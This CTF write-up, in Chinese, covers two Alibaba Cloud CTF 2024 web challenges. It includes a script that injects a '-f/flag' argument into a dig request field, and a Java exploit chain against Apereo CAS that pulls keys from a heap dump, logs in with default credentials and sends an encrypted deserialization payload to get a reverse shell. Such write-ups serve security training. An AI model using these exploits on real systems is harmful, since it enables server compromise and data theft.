阿里云CTF 2024 WEB 方向部分题解

阿里云CTF 2024

web 签到

dig 命令-f参数能够读取文件,应该是过滤了空格,将命令和要读取的文件拼接到一起就行

import base64

import requests

url = "http://web0.aliyunctf.com:29059" + "/digHandler"

data = {
    "domain": "localhost.",
    "type": "-f/flag"
}

req = requests.post(url, json=data)

r = base64.b64decode(req.json().get("data"))

print(r.decode('utf-8'))

easyCAS

https://oeyl1xsqbm.feishu.cn/space/api/box/stream/download/asynccode/?code=YWM0N2I4NjZhODNkMjk4MTVmODE5NWVkYjM3ODM4MzlfS1A4NnllMnVBa2VWUVZaUWdJOVV6WEdleEVvWTh3cmdfVG9rZW46UFJhbGJnRXo2b21jaEd4aVNJVmNRcG43bnllXzE3MTE0MjM4MzY6MTcxMTQyNzQzNl9WNA

该CAS在4.x版本存在类似shiro 的默认key反序列化,5.x版本key会在启动时生成,在官方文档可以发现如果开启了status会出现heapdump

CAS - Monitoring & Statistics (apereo.github.io)

如果直接尝试访问/status/heapdump会被重定向到其他页面,可以参考页面中的其他链接使用?service参数重定向到我们想要的页面

http://web3backup.aliyunctf.com:38817/login?service=http://web3backup.aliyunctf.com:38817/status/heapdump

访问页面使用默认账号密码登录(casuser/Mellon)就会进行heapdump下载

jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe这个工具需要手动去找想要的信息

经过分析主要加解密的key位于WebflowConversationStateCipherExecutor类中

50046-j5syy1n0tfq.png

将这两个key中的byte填进poc再使用yakit 生成cb1 ReverseShell链

40388-4c52za2q20r.png

将这个反序列化数据填入下面poc的p6处

Poc

import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;

import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] skey = new byte[]{81, 102, 74, 100, 74, 119, 109, 50, 117, 56, 97, 84, 122, 114, 112, 97, 53, 103, 100, 82, 121, 99, 75, 53, 90, 98, 99, 87, 107, 119, 56, 120, 97, 107, 111, 53, 85, 122, 89, 118, 56, 86, 67, 74, 110, 83, 117, 89, 99, 54, 85, 69, 45, 77, 122, 110, 79, 76, 74, 120, 68, 51, 48, 110, 56, 69, 51, 78, 88, 67, 115, 111, 119, 81, 116, 78, 117, 49, 102, 89, 81, 54, 88, 83, 48, 81};
        byte[] ekey = new byte[]{101, -119, -110, 24, 95, -33, 25, 15, 6, -103, -68, -14, -92, 52, 61, 0};
        SecretKeySpec enkey = new SecretKeySpec(ekey, "AES");
        WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);
setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);
//        Object o = webflowConversationStateCipherExecutor.decode(Base64.getDecoder().decode("ZXlKaGJH...."));
//        System.out.println(o);
//        System.out.println("ok");

        String p6 = "rO0ABXNyABdqY.....";

        System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(Base64.getDecoder().decode(p6)))));
    }

    static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException {
        try {
            // 获取目标对象的类对象
            Class<?> currentClass = targetObject.getClass();

            // 循环遍历当前类及其父类,直到找到该字段或到达Object类
            Field field = null;
            while (currentClass != null) {
                try {
                    field = currentClass.getDeclaredField(fieldName);
                    break; // 字段找到,退出循环
                } catch (NoSuchFieldException e) {
                    // 当前类中没有该字段,继续在父类中查找
                    currentClass = currentClass.getSuperclass();
                }
            }

            if (field == null) {
                throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy");
            }

            // 设置访问权限,允许访问私有字段
            field.setAccessible(true);

            // 设置新的字段值
            field.set(targetObject, newValue);

        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }

    public static byte[] compressString(byte[] data) {
        // 使用ByteArrayOutputStream来捕获压缩数据
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
             GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) {
            // 写入数据到GZIPOutputStream,它会处理压缩
            gzipOS.write(data);
            // 完成压缩数据的写入
            gzipOS.close();
            // 返回压缩后的字节数组
            return bos.toByteArray();
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }
    }

}

生成出的payload需要url编码,只需要编码其中的特殊符号比如=

Fuzzer 登录成功的包

63395-2u14t340gjt.png

execution处填写payload,注意前面的uuid不能去掉,发送即可成功反弹shell,flag就在根目录下

55118-5z3jfm3kefh.png

添加新评论

文章状态:已收录~